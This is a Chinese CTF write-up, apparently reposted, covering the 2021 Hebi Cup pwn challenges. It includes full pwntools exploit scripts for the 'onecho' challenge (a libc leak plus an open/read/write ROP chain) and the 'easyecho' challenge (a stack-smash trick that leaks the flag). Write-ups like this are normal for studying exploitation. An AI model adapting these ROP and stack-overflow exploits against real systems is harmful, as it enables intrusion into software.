pwn2021 鹤壁杯 wp
Posted woodwhale
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn2021 鹤壁杯 wp相关的知识,希望对你有一定的参考价值。
【pwn】2021 鹤壁杯 wp
前言
这场比较简单,但是也看到了自己急于求成的下场,基础知识非常不牢固,很多调试手段都太拉了,逆向能力也是非常差,还是得跟着师傅们继续学啊!
1、ret2libc1
就是最简单的ret2libc1,好像还有后门,我给忘了
2、ret2libc3
也是基本的ret2libc3,puts.plt泄露puts.got从而泄露libc.address,system(“sh”)
要注意一下栈平衡,在rop之前加个ret
3、onecho
这题,虽然很简单,但是我太拉了,不会动调,导致rop链读不到,orw自然没办法进行。在这里特别感谢K0nashi师傅和niyah师傅帮了我动调的大忙!
开了沙箱,所以选择orw
先分析漏洞
输入name的函数中,有一个scanf的栈溢出,并且将我们输入的内容memcpy给传入的参数a1,长度为输入name-1(减去\\n)
正常的思想就是通过scanf进行rop链的构造,我第一次尝试的payload = flat('flag\\x00'.ljust(0x110 ,'\\x00' ),write_plt ,myread, 1,puts_got,0x4)
发现不可以,直接eof了,那么肯定就是栈出了问题,我们直接用上面的错误代码进行调试
发现错误原因,我们在执行到memcpy函数的时候,会把myread这个text段的函数地址给dest,而这个地址是不可写的,所以memcpy在尝试将flag写入0x80495c6这个地址的时候就错误了
我们通过上面的调试发现,我们偏移为0x118的位置会给memcpy的第一个参数
所以我们payload的构造应该是 payload = flat( 'flag\\x00'.ljust(0x110 ,'\\x00' ),pop_esi_edi_ebp, bss,0x5, 0,write_plt ,myread, 1,puts_got,0x4)
调试如下
我们成功的把“flag”这4个字符写入了一个bss段的地址
接下来做的就是简单的orw了,在每一次orw的时候都需要pop_esi_edi_ebp来抬栈,让rop链可以执行
niyah师傅的exp:
def pwn():
bss = 0x804C008
puts_got = elf.got['puts']
write_plt = elf.plt['write']
myread = 0x080495C6
pop_esi_edi_ebp = 0x08049811
payload = flat(
'flag\\x00'.ljust(0x110 ,'\\x00' ),
pop_esi_edi_ebp, bss,
0x5, 0,
write_plt ,myread, 1,puts_got,0x4
)
dbg()
sla("name:",payload)
pau()
puts_addr = uu32(ru(b"\\xf7",False)[-4:])
libc.address = puts_addr - libc.sym["puts"]
leak("libc_base",libc.address)
open_addr = libc.sym['open']
read_addr = libc.sym['read']
flag_addr = bss
payload = flat(
'flag\\x00'.ljust( 0x110,'\\x00'),
pop_esi_edi_ebp, 0,
1, 0,
open_addr ,myread ,flag_addr
)
dbg()
sl(payload)
payload = flat(
'flag\\x00'.ljust( 0x110,'\\x00'),
pop_esi_edi_ebp, 0,
1, 0,
read_addr ,myread ,3 , flag_addr , 0x30
)
sl(payload)
payload = flat(
'flag\\x00'.ljust( 0x110,'\\x00'),
pop_esi_edi_ebp, 0,
1, 0,
write_plt ,myread ,1 , flag_addr , 0x30
)
sl(payload)
ia()
pwn()
get flag
4、easyecho
这题属于是不会看逆向了,已经猜到必然是smash的花式栈溢出了,但是由于不会逆向分析所以ji了QAQ
感谢K0nashi师傅的指导!
还是有必要说一声,smash这个方法止步于libc2.23咯
漏洞分析:
gets溢出,我们无法使用rop因为没办法逃逸出while循环,需要之后覆盖用到
第二个do中,比较两个字符串是否相等,
调用V9函数,这个V9是这样的
读取flag到一个地址上
那么我们的思路就是调用V9这个函数,首先输入backdoor执行后门函数,让flag读到bss段
之后覆盖报错为flag的地址,让报错输出flag,这个方法详情见ctf-wiki
我们开始动调,让程序执行到open,read之后,用search搜索flag位置
查看stack情况,计算我们的输入与文件名的偏移
输入padding进行覆盖
get flag
exp:
sla("Name:",b"b"*15+b"a")
ru("a")
addr = uu64(ru(" into")) - 0xcf0
leak("addr",addr)
flag_addr =addr + 0x202040
leak("flag_addr",flag_addr)
payload = b'a'*0x168 + p64(flag_addr)
# dbg()
sla("Input:","backdoor")
# pau()
sla('Input: ',payload)
sla('Input: ','exitexit')
ia()
5、supermaket
ciscn 2018 pwn原题,百度就有exp,恶心就恶心在libc是2.23-9,这玩意已经被打补丁绝版了,找了好久在ubuntu官网找到,终于算好了atoi到system的偏移
以上是关于pwn2021 鹤壁杯 wp的主要内容,如果未能解决你的问题,请参考以下文章
[ctf wiki pwn] stackoverflow: 2016-360春秋杯 srop wp